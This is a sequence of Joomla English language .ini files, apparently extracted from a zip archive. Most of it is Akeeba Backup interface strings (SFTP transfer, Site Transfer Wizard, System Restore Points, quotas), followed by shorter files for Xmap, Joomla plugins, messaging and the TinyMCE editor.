ENGINE_ARCHIVER_DIRECTSFTP_TITLE="DirectSFTP" ENGINE_ARCHIVER_DIRECTSFTP_DESCRIPTION="Transfers the site files to a remote SFTP server, without archiving them first. WARNING: Your source server needs to have PHP's SSL2 extension installed." CONFIG_DIRECTSFTP_HOST_TITLE="Host name" CONFIG_DIRECTSFTP_HOST_DESCRIPTION="Please enter the host name or IP address of your SFTP server" CONFIG_DIRECTSFTP_PORT_TITLE="Port" CONFIG_DIRECTSFTP_PORT_DESCRIPTION="The usual port for SFTP connections is 22. If your server is using a different port, please enter it here." CONFIG_DIRECTSFTP_USER_TITLE="Username" CONFIG_DIRECTSFTP_USER_DESCRIPTION="The SFTP username. Please note that your SFTP server must allow username/password authentication." CONFIG_DIRECTSFTP_PASSWORD_TITLE="Password" CONFIG_DIRECTSFTP_PASSWORD_DESCRIPTION="The SFTP password" CONFIG_DIRECTSFTP_INITDIR_TITLE="Initial directory" CONFIG_DIRECTSFTP_INITDIR_DESCRIPTION="Please enter the directory where the files will be uploaded to. If unsure, use an SFTP desktop client, connect to your server, navigate to the desired directory and copy the path displayed in here. The path must be in absolute format, e.g. /users/myusername/public_html" CONFIG_DIRECTSFTP_TEST_DIALOG_TITLE="SFTP Connection test" CONFIG_DIRECTSFTP_TEST_OK="Successfully connected to the remote SFTP server. Note: the initial directory setting was not tested." CONFIG_DIRECTSFTP_TEST_FAIL="Could not connect to the remote SFTP server. The error message was:" CONFIG_DIRECTSFTP_TEST_TITLE="Test SFTP connection" CONFIG_DIRECTSFTP_TEST_DESCRIPTION="Use this button to test the SFTP connection and view the connection errors on failure." CONFIG_DIRECTSFTP_PLEASE_WAIT="Please wait; SFTP connection test in progress" CONFIG_SCAN_SMART_METHOD_TITLE="Directory listing method" CONFIG_SCAN_SMART_METHOD_DESC="Choose the method used by Akeeba Backup to list the contents of your directories. If you get missing files in your backups, please use the "Alternate (failsafe)"e; method." CONFIG_SCAN_SMART_METHOD_OPENDIR="Regular (fast)" CONFIG_SCAN_SMART_METHOD_DIR="Alternate (failsafe)" STATS_LABEL_ORIGIN_RESTOREPOINT="Restore Point" ; Site Transfer Wizard, added in Akeeba Backup 3.3 SITETRANSFERWIZARD="Site Transfer Wizard" STW_LBL_STEP1="Step 1: Choose your profile" STW_LBL_STEP2="Step 2: Chose your transfer settings" STW_LBL_STEP3="Step 3: Transfer your site" STW_LBL_NEXT="Next" STW_LBL_STEP1_INTRO="We need to create a dedicated "Site Transfer Wizard" backup profile. Where do you want its settings to come from?" STW_PROFILE_STW="Use the existing profile" STW_PROFILE_COPYFROM="Copy settings from" STW_PROFILE_BLANK="Create a new profile, resetting its settings to default" STW_PROFILE_ERR_COULDNOTCREATESTWPROFILE="Unexpected error: Could not create a Site Transfer Wizard profile" STW_PROFILE_MSG_COPIED="Copied settings from your "%s" profile to the "Site Transfer Wizard" profile" STW_PROFILE_MSG_RESET="The settings in the Site Transfer Wizard have now been reset" STW_PROFILE_MSG_NEW="Created a new Site Transfer Wizard profile" STW_LBL_STEP2_INTRO="Specify the connection settings to your remote host, where the site will be transferred to" STW_LBL_CONNECTION_TYPE="Connection method" STW_LBL_CONNECTION_TYPE_FTP="FTP, unencrypted" STW_LBL_CONNECTION_TYPE_FTPS="FTP over SSL (FTPS)" STW_LBL_CONNECTION_TYPE_SFTP="Secure file transfer over SSH (SFTP)" STW_LBL_CONNECTION_HOST="Host name" STW_LBL_CONNECTION_PORT="Port" STW_LBL_CONNECTION_USERNAME="Username" STW_LBL_CONNECTION_PASSWORD="Password" STW_LBL_CONNECTION_PASSIVE="Use Passive mode" STW_LBL_CONNECTION_DIRECTORY="FTP/FTPS/SFTP directory to the remote site's root" STW_LBL_CONNECTION_URL="URL to the remote site" STW_LBL_CONNECTION_ERR_CONNECTION="Could not connect to the remote host. The error was:" STW_LBL_CONNECTION_ERR_UPLOAD="Could not upload a test file to the remote host. The error was:" STW_LBL_CONNECTION_ERR_HOST="Your FTP/FTPS/SFTP directory is not defined correctly. You will be redirected back to the previous page to correct it. If in doubt about what this means, please read our documentation." STW_LBL_STEP3_INTROA="If you want to make changes to advanced settings, e.g. exclude directories or tables, click the button below to go to Akeeba Backup's Control Panel. Use the Site Transfer Wizard button to get back here and continue the site transfer." STW_LBL_STEP3_INTROB="Click the Transfer button to transfer your site to the remote host. After the transfer you will be automatically redirected to the installation page to complete the site's installation on the remote host. Remember to remove the installation directory after restoration!." STW_LBL_STEP3_LBL_CONTROLPANEL="Visit the Control Panel for advanced settings" STW_LBL_STEP3_LBL_TRANSFER="Begin the site transfer" ; System Restore Point roll-back (srprestore) SRPRESTORATION="System Restore Point Roll-Back" RESTORE_ERROR_NOT_AN_SRP="The specified backup record does not correspond to a known System Restore Point" SRPRESTORE_INFO_LBL="Information about the roll-back" SRPRESTORE_INFO_EXTTYPE="Extension type" SRPRESTORE_INFO_EXTNAME="Extension name" SRPRESTORE_INFO_VERSIONANDDATE="Version & Date" SRPRESTORE_INFO_SRPDATE="Restore point date" RESTORE_LABEL_DONOTCLOSE_DB="Do not close this window or navigate to another page while the database restoration is in progress" RESTORE_LABEL_INPROGRESS_DB="Database content restoration in progress" RESTORE_LABEL_SRP_COMPLETE_TITLE="System Restore Point roll-back is complete" RESTORE_LABEL_SRP_COMPLETE_BODY="Akeeba Backup has finished rolling back your System Restore Point. You can now click on the Back button in the toolbar to return to Akeeba Backup's main page." BUADMIN_LABEL_BACKUPS="Backups" BUADMIN_LABEL_SRP="Restore Points" BUADMIN_LABEL_SRPRESTORE="Roll back (restore)" BUADMINSRP="Administer System Restore Points" BUADMIN_LABEL_VERSION="Version" BUADMIN_LABEL_DATE="Release date" STATS_LABEL_STARTSRP="Taken on" INSTALLER_ENHANCEDBY="Extensions installation enhanced by" INSTALLER_SWITCHTOREGULAR="Back to standard installer" INSTALLER_WHATSTHIS="What's this?" INSTALLER_WHATSTHIS_TEXT="Akeeba Backup has overriden Joomla!'s extensions installer with its own version. Akeeba Backup's version allows you to taken automatic System Restore Points when upgrading/updating extensions which can be used to roll back the extension to its previous version should the upgrade break it. You can temporarily switch off this feature by clicking on the "Back to standard installer" link. If you need to permanently turn off that feature, please disable the "System - System Restore Points" plugin." Q004="PHP memory_limit too low" CONFIG_S3LOWERCASE_TITLE="Lowercase bucket name" CONFIG_S3LOWERCASE_DESCRIPTION="If enabled, Akeeba Backup will try to change the bucket name to all lowercase letters, i.e. MyBucket will be converted to mybucket. If you have created a bucket with uppercase letters, e.g. MyNewBucket, uncheck this option and make sure the bucket name is spelled exactly as it appears in your S3 management console." CONFIG_USEDBSTORAGE_TITLE="Use database storage for temporary data" CONFIG_USEDBSTORAGE_DESCRIPTION="Normally, Akeeba Backup is using files inside your Temporary Directory to store temporary data between backup steps. When this option is enabled, Akeeba Backup will use database records instead. On some low quality hosts this option may cause "MySQL server has gone away" or a "MySQL query limit exceeded" errors during backup." ;; Added after 3.3.a2 AKEEBASRP="System Restore Point in progress" ;; Added or changed after 3.3.a2 AKEEBA_POSTSETUP="Post-installation configuration" AKEEBA_POSTSETUP_LBL_WHATTHIS="Welcome to your new Akeeba Backup installation! Akeeba Backup can be configured with some optional features. Please select which of them you want to enable on your site. This page will be shown to you every time you have just installed a new Akeeba Backup version." AKEEBA_POSTSETUP_LBL_SRP="Enable System Restore Points" AKEEBA_POSTSETUP_DESC_SRP="When checked, Akeeba Backup overrides the default Joomla! extensions installer interface with its own. When you reinstall or upgrade any extension, it will automatically take a small backup of only that extension's files and data, called System Restore Point. Should the extension upgrade go wrong, you can go to Administer Backup Files, click on Restore Points and roll back the extension to its previous version with one click. If you wish to disable that feature, please unpublish the "System - System Restore Points" plugin using Joomla!'s Plugin Manager" AKEEBA_POSTSETUP_LBL_AUTOUPDATE="Enable automatic Akeeba Backup update emails" AKEEBA_POSTSETUP_DESC_AUTOUPDATE="When checked, Akeeba Backup will periodically check for new versions. When one is found, it will send Super Administrators an email with a link. Clicking on the link will automatically log you in to your site and update Akeeba Backup. Update checks are performed once every 3 hours. You will receive up to one email per day until you install the new Akeeba Backup version. You can turn off this feature by unpublishing the "System - Akeeba Backup Update Check" plugin using Joomla!'s Plugin Manager" AKEEBA_POSTSETUP_LBL_CONFWIZ="Run the Configuration Wizard" AKEEBA_POSTSETUP_DESC_CONFWIZ="When checked, you will be take to our Configuration Wizard which will automatically reconfigure Akeeba Backup with optimal settings for your server environment. If you are not installing Akeeba Backup for the first time, please uncheck this box as it will overwrite your configuration settings!" AKEEBA_POSTSETUP_LBL_APPLY="Apply these preferences" CPANEL_SCHEMAERROR_TITLE="Your database tables are corrupt" CPANEL_SCHEMAERROR_BODY="Akeeba Backup has detected that its database tables are corrupt. This indicates a problem with your MySQL server. Please make sure that your host has at least MySQL 4.1 (5.0 or later recommended). Then try uninstalling and re-install the component. Backups can not be made unless this problem is fixed." DISCOVER="Import Archives" AKEEBA_TRANSFER_TITLE="Transfer Archive" AKEEBA_TRANSFER_DESC="Transfers the archive by running the "%s" post-processing engine against the archive." AKEEBA_TRANSFER_ERR_INVALIDID="Invalid upload ID specified" AKEEBA_TRANSFER_MSG_START="Preparing to upload your archive. This will take some time. Please wait." AKEEBA_TRANSFER_MSG_UPLOADINGPART="Uploading archive part %s of %s; please wait." AKEEBA_TRANSFER_MSG_UPLOADINGFRAG="Continuing the upload of archive part %s of %s; please wait." AKEEBA_TRANSFER_MSG_DONE="Uploading is complete!" AKEEBA_TRANSFER_MSG_FAILED="Upload of your archive failed." CONFIG_LIVEUPDATE_MINSTABILITY_LABEL="Minimum release stability for update notifications" CONFIG_LIVEUPDATE_MINSTABILITY_DESC="Select the minimum release stability level for which you will be notified that a new update is available. Please use RC and Stable only on mission critical sites. Help us test Akeeba Backup releases on live servers by installing alphas and betas." AKEEBA_STABILITY_ALPHA="Alpha" AKEEBA_STABILITY_BETA="Beta" AKEEBA_STABILITY_RC="Release Candidate" AKEEBA_STABILITY_STABLE="Stable" BACKUP_LABEL_DOMAIN_PACKING_STW="Transfering files to remote server" STW_MSG_CONTINUE="Transfer of your site is almost complete. Click on the OK button to go to your new site, run the restoration script and finish the restoration of your database and site setup. Remember to click on the link to remove the installation directory on the last page of the restoration script." ;; Added or changed after 3.3.b1 CONFIG_MAXAGEQUOTA_ENABLE_TITLE="Enable maximum backup age quotas" CONFIG_MAXAGEQUOTA_ENABLE_DESCRIPTION="Automatically remove old backups based on when the day they were taken on. WARNING: ENABLING THIS WILL CAUSE ALL OTHER QUOTA SETTINGS (COUNT AND SIZE) TO BE IGNORED." CONFIG_MAXAGEQUOTA_MAXDAYS_TITLE="Maximum backup age, in days" CONFIG_MAXAGEQUOTA_MAXDAYS_DESCRIPTION="Backups older than this number of days will be automatically deleted. Leave the default setting, 31, to keep all backups from the last month" CONFIG_MAXAGEQUOTA_KEEPDAY_TITLE="Don't delete backups taken on this day of the month" CONFIG_MAXAGEQUOTA_KEEPDAY_DESCRIPTION="Backups taken on this day of the month will not be deleted. Leave the default setting, 1, to always preserve the backups taken on the 1st day of the month" CONFIG_SRPSIZEQUOTA_VALUE_TITLE="System Restore Points quota" CONFIG_SRPSIZEQUOTA_VALUE_DESCRIPTION="Maximum size of System Restore Point files stored on your server" ;; Added or changed after 3.3.3 BUADMIN_LABEL_HOWDOIRESTORE_LEGEND="How do I restore my backups?" BUADMIN_LABEL_HOWDOIRESTORE_TEXT="It's easy! You can read the restoration chapter on our Quick Start Guide or watch a video tutorial." BACKUP_TEXT_RTFMTOSOLVE="We strongly recommend going through the step-by-step instructions in our troubleshooting wizard to easily resolve this issue yourself." BACKUP_TEXT_SOLVEISSUE_PRO="If this doesn't help, please do not hesitate to ask for support in our support forum. Do note that you need an active subscription to request assistance through the forum. If Akeeba Backup Professional was installed on your site by a third party -e.g. your web developer- please do not contact AkeebaBackup.com for support. Instead, contact the person who installed the software on your site and request assistance to solve this issue." BACKUP_TEXT_SOLVEISSUE_CORE="If this doesn't help, you may consider buying a FORUMACCESS subscription so that you can ask for support in our support forum." BACKUP_TEXT_SOLVEISSUE_LOG="If you do post to our forum, please remember to ZIP and attach your backup log file in your post so that we can help you faster." BACKUP_TEXT_PLEASEWAITFORREDIRECTION="Please wait; you are being redirected to the next page.
      This may take 5-30 seconds, depending on your Internet connection." BACKUP_HEADER_BACKUPWITHRETURNURLFINISHED="The process was completed successfully" AKEEBA_CPANEL_WARN_JQ_L1B="jQuery and/or jQuery UI have not been loaded. This usually means that you have to change the permissions of media/com_akeeba and all of its contents to a least 0644." STATS_LABEL_ID="ID" ;; Added or changed after 3.3.4 AKEEBA_POSTSETUP_NOTAVAILABLEINCORE="This feature is disabled in Akeeba Backup Core since version 3.3.5. If you want this feature on your site, please upgrade to Akeeba Backup Professional." AKEEBA_CONFWIZ_DIRECTORY="Examining Output Directory" ;; Added or changed after 3.3.5 BACKUP_ERROR_UNWRITABLEOUTPUT_SRP="The System Restore Point backup can not continue because your output directory is not writable. Please follow the instructions below to fix this issue. Alternatively, disable the "System - System Restore Points" plugin to be able to proceed with your extension's installation." BACKUP_ERROR_UNWRITABLEOUTPUT_AUTOBACKUP="The automatic backup can not be started because your output directory is not writable. Please follow the instructions below to fix this issue." BACKUP_ERROR_UNWRITABLEOUTPUT_NORMALBACKUP="Akeeba Backup can not take a backup of your site because the output directory is not writable. Please follow the instructions below to fix this issue." BACKUP_ERROR_UNWRITABLEOUTPUT_COMMON="In order to fix this issue, please go to the Configuration Page and set the Output Directory to [DEFAULT_OUTPUT] (all caps, including the brackets). If this still doesn't work, please take a look at our troubleshooting instructions" ;; Added or changed after 3.3.7 STATS_LABEL_STATUS_REMOTE="Remote" FILTERS_LABEL_NORMALVIEW="Browser View" FILTERS_LABEL_TABULARVIEW="Summary View" FILTERS_LABEL_VIEWALL="List all exclusions" ;; Added or changed after 3.3.10 CONFIG_S3RRS_TITLE="Use Reduced Redundancy Storage (RRS)" CONFIG_S3RRS_DESCRIPTION="When checked, uploaded backup archives will be stored in Amazon S3 using Reduced Redundancy Storage, a cheaper method per Gigabyte-month which makes backup corruption or complete loss slightly more possible. Not recommended for critical websites!"PK@y>\M|% % +language/en-GB/en-GB.plg_xmap_com_mtree.ininuW+AXMAP_MTREE_PLUGIN_DESCRIPTION="AddS support for Mosets Tree categories and listings" XMAP_SETTING_SHOW_LISTINGS_LABEL="Show listings?" XMAP_SETTING_SHOW_LISTINGS_DESC="Should we include listings into the site map?" XMAP_SETTING_MAX_ENTRIES_LABEL="Max listings per cat." XMAP_SETTING_MAX_ENTRIES_DESC="Max number of listings per category to include on sitemap (Leave empty for no limit)" XMAP_SETTING_CATEGORIES_ORDER_LABEL="Categories order" XMAP_SETTING_CATEGORIES_ORDER_DESC="How to order the categories listed on your sitemap?" XMAP_SETTING_CATEGORIES_ORDER_DIR_LABEL="Order direction" XMAP_SETTING_CATEGORIES_ORDER_DIR_DESC="How should the categories be ordered in the sitemap?" XMAP_SETTING_LISTINGS_ORDER_LABEL="Listings order" XMAP_SETTING_LISTINGS_ORDER_DESC="How to order the listings listed on your sitemap?" XMAP_SETTING_LISTINGS_ORDER_DIR_LABEL="Order direction" XMAP_SETTING_LISTINGS_ORDER_DIR_DESC="How should the listings be ordered in the sitemap?" XMAP_SETTING_LISTINGS_NEWER_THAN_LABEL="Newer than" XMAP_SETTING_LISTINGS_NEWER_THAN_DESC="Only show links newer than this number of days (Leave it blank to ignore this option)" XMAP_SETTING_OPTION_ORDERING_DEFAULT="Default ordering" XMAP_SETTING_OPTION_ORDERING_NAME="Name" XMAP_SETTING_OPTION_ORDERING_CREATED="Creation date" XMAP_SETTING_OPTION_ORDERING_MODIFIED="Modified date" XMAP_SETTING_OPTION_ORDERING_HITS="Number of hits" XMAP_SETTING_OPTION_ORDERING_DIR_ASC="Ascendant" XMAP_SETTING_OPTION_ORDERING_DIR_DESC="Descendant" ; Generic Extension settings strings COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Settings" COM_PLUGINS_XML_FIELDSET_LABEL="XML Sitemap Settings" COM_PLUGINS_NEWS_FIELDSET_LABEL="News Sitemap Settings" XMAP_OPTION_USE_PARENT_MENU="Use Parent Menu Settings" XMAP_OPTION_NEVER="Never" XMAP_OPTION_ALWAYS="Always" XMAP_OPTION_XML_ONLY="In XML Sitemap Only" XMAP_OPTION_HTML_ONLY="In HTML Sitemap Only" XMAP_OPTION_WEEKLY="Weekly" XMAP_OPTION_DAILY="Daily" XMAP_OPTION_MONTHLY="Monthly" XMAP_OPTION_YEARLY="Yearly" XMAP_OPTION_HOURLY="Hourly" ; Added by JoomlaCommunity.eu XMAP_MTREE_CATEGORY_PRIORITY_LABEL="Category Priority" XMAP_MTREE_CATEGORY_PRIORITY_DESC="Set the priority for the categories" XMAP_MTREE_CATEGORY_CHANGEFREQ_LABEL="Category Change frequency" XMAP_MTREE_CATEGORY_CHANGEFREQ_DESC="Set the change frequency for the categories" XMAP_MTREE_LISTING_PRIORITY_LABEL="Listing Priority" XMAP_MTREE_LISTING_PRIORITY_DESC="Set the priority for the links" XMAP_MTREE_LISTING_CHANGEFREQ_LABEL="Listing Change frequency" XMAP_MTREE_LISTING_CHANGEFREQ_DESC="Set the chage frequency for the links" PK@y>\ms99(language/en-GB/en-GB.com_akeeba.menu.ininuW+A;; @package AkeebaBackup ;; @copyright Copyright (c)2009-2012 Nicholas K. Dionysopoulos ;; @license GNU General Public License version 3, or later ;; COM_AKEEBA="Akeeba Backup" COM_AKEEBA.CONFIGURATION="Configuration" COM_AKEEBA.BACKUP_NOW="Backup Now" COM_AKEEBA.ADMINISTER_BACKUP_FILES="Administer Backup Files"PK@y>\$  ,language/en-GB/en-GB.plg_search_contacts.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEARCH_CONTACTS="Search - Contacts" PLG_SEARCH_CONTACTS_CONTACTS="Contacts" PLG_SEARCH_CONTACTS_FIELD_SEARCHLIMIT_DESC="Number of search items to return" PLG_SEARCH_CONTACTS_FIELD_SEARCHLIMIT_LABEL="Search Limit" PLG_SEARCH_CONTACTS_XML_DESCRIPTION="Enables searching of the Contact Component"PK@y>\*ד3language/en-GB/en-GB.plg_content_loadmodule.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_LOADMODULE="Content - Load Modules" PLG_LOADMODULE_XML_DESCRIPTION="Within content loads Module positions, Syntax: {loadposition user1} or Modules by name, Syntax: {loadmodule mod_login}. Optionally can specify module style and for loadmodule a specific module title."PK@y>\iM2language/en-GB/en-GB.plg_authentication_joomla.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTH_JOOMLA_XML_DESCRIPTION="Handles Joomla's default User authentication
      Warning! You must have at least one authentication plugin enabled or you will lose all access to your site." PLG_AUTHENTICATION_JOOMLA="Authentication - Joomla"PK@y>\iM6language/en-GB/en-GB.plg_authentication_joomla.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTH_JOOMLA_XML_DESCRIPTION="Handles Joomla's default User authentication
      Warning! You must have at least one authentication plugin enabled or you will lose all access to your site." PLG_AUTHENTICATION_JOOMLA="Authentication - Joomla"PK@y>\śuu%language/en-GB/en-GB.com_messages.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MESSAGES="Messaging" COM_MESSAGES_ADD="New Private Message" COM_MESSAGES_CONFIG_SAVED="Configuration successfully saved" COM_MESSAGES_CONFIGURATION="Messages Configuration" COM_MESSAGES_ERR_INVALID_USER="Invalid user" COM_MESSAGES_ERR_SEND_FAILED="The user has locked their mailbox. Message failed." COM_MESSAGES_ERROR_INVALID_FROM_USER="Invalid sender" COM_MESSAGES_ERROR_INVALID_MESSAGE="Invalid message content" COM_MESSAGES_ERROR_INVALID_SUBJECT="Invalid subject" COM_MESSAGES_ERROR_INVALID_TO_USER="Invalid recipient" COM_MESSAGES_FIELD_AUTO_PURGE_DESC="Automatically purge private messages after the given number of days." COM_MESSAGES_FIELD_AUTO_PURGE_LABEL="Auto-purge Messages (days)" COM_MESSAGES_FIELD_DATE_TIME_LABEL="Posted" COM_MESSAGES_FIELD_LOCK_DESC="Lock your private message inbox." COM_MESSAGES_FIELD_LOCK_LABEL="Lock Inbox" COM_MESSAGES_FIELD_MAIL_ON_NEW_DESC="Email me when a new private message arrives." COM_MESSAGES_FIELD_MAIL_ON_NEW_LABEL="Email New Messages" COM_MESSAGES_FIELD_MESSAGE_DESC="You must enter a message." COM_MESSAGES_FIELD_MESSAGE_LABEL="Message" COM_MESSAGES_FIELD_SUBJECT_DESC="You must enter a subject." COM_MESSAGES_FIELD_SUBJECT_LABEL="Subject" COM_MESSAGES_FIELD_USER_ID_FROM_LABEL="From" COM_MESSAGES_FIELD_USER_ID_TO_DESC="You must select a recipient." COM_MESSAGES_FIELD_USER_ID_TO_LABEL="Recipient" COM_MESSAGES_HEADING_FROM="From" COM_MESSAGES_HEADING_READ="Read" COM_MESSAGES_HEADING_SUBJECT="Subject" COM_MESSAGES_INVALID_REPLY_ID="Invalid recipient" COM_MESSAGES_MANAGER_MESSAGES="Private Messages Manager: Messages" COM_MESSAGES_MARK_AS_READ="Mark As Read" COM_MESSAGES_MARK_AS_UNREAD="Mark as Unread" COM_MESSAGES_MY_SETTINGS="My Settings" COM_MESSAGES_N_ITEMS_DELETED="%d messages successfully deleted" COM_MESSAGES_N_ITEMS_DELETED_1="Message successfully deleted" COM_MESSAGES_N_ITEMS_PUBLISHED="%d messages successfully marked as read" COM_MESSAGES_N_ITEMS_PUBLISHED_1="Message successfully marked as read" COM_MESSAGES_N_ITEMS_TRASHED="%d messages successfully trashed" COM_MESSAGES_N_ITEMS_TRASHED_1="Message successfully trashed" COM_MESSAGES_N_ITEMS_UNPUBLISHED="%d messages successfully marked as unread" COM_MESSAGES_N_ITEMS_UNPUBLISHED_1="Message successfully marked as unread" COM_MESSAGES_NEW_MESSAGE_ARRIVED="A new private message has arrived from %s" COM_MESSAGES_NO_ITEM_SELECTED="No messages selected" COM_MESSAGES_OPTION_READ="Read" COM_MESSAGES_OPTION_UNREAD="Unread" COM_MESSAGES_PLEASE_LOGIN="Please log in to %s to read your message." COM_MESSAGES_RE="Re:" COM_MESSAGES_READ="Messages" COM_MESSAGES_READ_PRIVATE_MESSAGE="Read Private Message" COM_MESSAGES_SEARCH_IN_SUBJECT="Search in message subject or description " COM_MESSAGES_TOOLBAR_MARK_AS_READ="Mark As Read" COM_MESSAGES_TOOLBAR_MARK_AS_UNREAD="Mark as Unread" COM_MESSAGES_TOOLBAR_MY_SETTINGS="My Settings" COM_MESSAGES_TOOLBAR_REPLY="Reply" COM_MESSAGES_TOOLBAR_SEND="Send" COM_MESSAGES_VIEW_PRIVATE_MESSAGE="Private Messages Manager: View Message" COM_MESSAGES_WRITE_PRIVATE_MESSAGE="Private Messages Manager: Write Private Message" COM_MESSAGES_XML_DESCRIPTION="Component for private messaging support in backend" JLIB_APPLICATION_SAVE_SUCCESS="Message successfully sent." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
      Inherited means that the permissions from global configuration and parent group will be used.
      Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
      Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
      2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\ a뻏6language/en-GB/en-GB.plg_editors-xtd_admirorbutton.ininuW+A; @version 4.5 ; @package Admiror Gallery (plugin) ; @copyright Copyright (C) 2010 - 2011. All rights reserved. ; @author Igor Kekeljevic & Nikola Vasiljevski, 2011. ; @license GNU/GPL license: http://www.gnu.org/copyleft/gpl.html ; @note All ini files need to be saved as UTF-8 ; Plugin Description plg_editors-xtd_admirorbutton = "Button - Admiror Gallery"PK@y>\Xӻ'language/en-GB/en-GB.plg_system_p3p.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_P3P_XML_DESCRIPTION="The system P3P policy plugin allows Joomla! to send a customised string of P3P policy tags in the HTTP header. This is required for the sessions to work on certain browsers, i.e. Internet Explorer 6 and 7." PLG_SYSTEM_P3P="System - P3P Policy" PLG_P3P_HEADER_DESCRIPTION="Enter your P3P policy tags. For more information consult The Platform for Privacy Preferences specification, http://www.w3.org/TR/P3P/" PLG_P3P_HEADER_LABEL="P3P Tags"PK@y>\u,language/en-GB/en-GB.com_chronoforms.sys.ininuW+ACOM_CHRONOFORMS="ChronoForms" COM_CHRONOFORMS_FORMS_MANAGER="Forms Manager" COM_CHRONOFORMS_WIZARD="Form Wizard" COM_CHRONOFORMS_EASY_WIZARD="Easy Form Wizard" COM_CHRONOFORMS_VALIDATE="Validate Installation" COM_CHRONOFORMS_UPDATES="Apply Updates"PK@y>\zãEE)language/en-GB/en-GB.com_redirect.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_REDIRECT="Redirect" COM_REDIRECT_XML_DESCRIPTION="This component implements link redirection"PK@y>\=##,language/en-GB/en-GB.plg_editors_tinymce.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS_TINYMCE="Editor - TinyMCE" PLG_TINY_BUTTON_TOGGLE_EDITOR="Toggle editor" PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT="The file name %s was entered in the TinyMCE Custom CSS field. This file could not be found in the default template folder. No styles are available." PLG_TINY_ERR_EDITORCSSFILENOTPRESENT="Could not find the file 'editor.css' in the template or templates/system folder. No styles are available." PLG_TINY_FIELD_ADVIMAGE_DESC="Turn on/off a more advanced image dialog" PLG_TINY_FIELD_ADVIMAGE_LABEL="Advanced image" PLG_TINY_FIELD_ADVLINK_DESC="Turn on/off a more advanced link dialog" PLG_TINY_FIELD_ADVLINK_LABEL="Advanced link" PLG_TINY_FIELD_ADVLIST_DESC="Turn on/off to enable to set number formats and bullet types in ordered and unordered lists" PLG_TINY_FIELD_ADVLIST_LABEL="Advanced List" PLG_TINY_FIELD_BLOCKQUOTE_DESC="Turn on/off Blockquotes" PLG_TINY_FIELD_BLOCKQUOTE_LABEL="Blockquote" PLG_TINY_FIELD_COLORS_DESC="Show/Hide the Colours control buttons. Only applies in Extended mode" PLG_TINY_FIELD_COLORS_LABEL="Colours" PLG_TINY_FIELD_CONTEXTMENU_DESC="Turn on/off Context menu" PLG_TINY_FIELD_CONTEXTMENU_LABEL="Context menu" PLG_TINY_FIELD_CSS_DESC="By default the Plug-in looks for an editor.css file. If it cannot find one in the default template css folder, it loads the editor.css file from the system template." PLG_TINY_FIELD_CSS_LABEL="Template CSS classes" PLG_TINY_FIELD_CUSTOM_CSS_DESC="Optional CSS file that will override the standard editor.css file. Enter a file name to point to a file in the CSS folder of the default template (for example, templates/beez_20/css/). Or enter a full URL path to the custom CSS file. If you enter a value in this field, this file will be used instead of the editor.css file." PLG_TINY_FIELD_CUSTOM_CSS_LABEL="Custom CSS classes" PLG_TINY_FIELD_CUSTOMBUTTON_DESC="Add custom button(s)" PLG_TINY_FIELD_CUSTOMBUTTON_LABEL="Custom button" PLG_TINY_FIELD_CUSTOMPLUGIN_DESC="Add custom plugin(s)" PLG_TINY_FIELD_CUSTOMPLUGIN_LABEL="Custom plugin" PLG_TINY_FIELD_DATE_DESC="Show/Hide the Insert Date button. Only works in Extended mode." PLG_TINY_FIELD_DATE_LABEL="Insert Date" PLG_TINY_FIELD_DATEFORMAT_DESC="Format of inserted date. Only works in Extended Mode." PLG_TINY_FIELD_DATEFORMAT_LABEL="Date Format" PLG_TINY_FIELD_DIRECTION_DESC="Choose default text direction" PLG_TINY_FIELD_DIRECTION_LABEL="Text Direction" PLG_TINY_FIELD_ELEMENTS_DESC="Allows the addition of specific valid elements to the existing rule set." PLG_TINY_FIELD_ELEMENTS_LABEL="Extended Valid Elements" PLG_TINY_FIELD_ENCODING_DESC="Controls how HTML entities are encoded. Recommended setting is 'raw'. 'named' = used named entity encoding (for example, '<'). 'numeric' = use numeric HTML encoding (for example, '%03c'). raw = Do not encode HTML entities. Note that searching content may not work properly if setting is not 'raw'." PLG_TINY_FIELD_ENCODING_LABEL="Entity Encoding" PLG_TINY_FIELD_FONTS_DESC="Show/Hide the Fonts control selectors. Only applies in Extended mode" PLG_TINY_FIELD_FONTS_LABEL="Fonts" PLG_TINY_FIELD_FULLSCREEN_DESC="Show/Hide the Fullscreen button. Only works in Extended mode." PLG_TINY_FIELD_FULLSCREEN_LABEL="Fullscreen" PLG_TINY_FIELD_FUNCTIONALITY_DESC="Select Functionality" PLG_TINY_FIELD_FUNCTIONALITY_LABEL="Functionality" 